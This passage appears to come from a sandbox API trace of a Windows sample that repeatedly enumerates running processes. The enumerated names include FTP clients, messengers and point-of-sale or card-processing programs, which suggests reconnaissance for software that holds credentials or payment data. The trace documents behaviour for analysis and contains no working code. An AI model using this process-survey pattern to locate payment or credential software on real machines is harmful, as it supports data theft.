th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0133.872] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0133.875] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0133.877] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0133.880] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0133.883] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0133.885] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0133.888] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0133.891] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0133.894] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0133.896] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0133.899] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0133.902] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0133.905] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0133.908] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0133.911] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0133.913] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0133.916] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0133.918] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0133.920] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0133.922] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0133.925] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0133.927] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0133.930] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0133.933] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0133.935] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0133.937] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0133.939] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0133.942] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0133.944] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 0 [0133.946] CloseHandle (hObject=0x1fb0) returned 1 [0133.946] Sleep (dwMilliseconds=0x64) [0134.086] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f8c [0134.103] Process32First (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0134.106] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0134.109] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0134.111] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0134.114] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0134.116] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0134.120] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0134.122] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0134.124] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0134.129] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.131] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.134] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0134.136] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.138] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.141] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.143] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.145] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.148] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.151] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.153] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0134.155] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0134.159] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0134.161] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.163] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0134.166] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0134.168] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0134.170] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0134.173] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0134.175] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0134.177] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0134.179] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.181] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0134.185] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0134.188] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0134.190] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0134.192] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.195] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0134.259] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0134.265] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0134.284] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0134.287] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0134.288] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0134.290] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0134.292] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0134.294] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0134.298] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0134.300] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0134.301] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0134.303] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0134.305] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0134.306] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0134.308] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0134.309] Process32Next (in: hSnapshot=0x1f8c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, 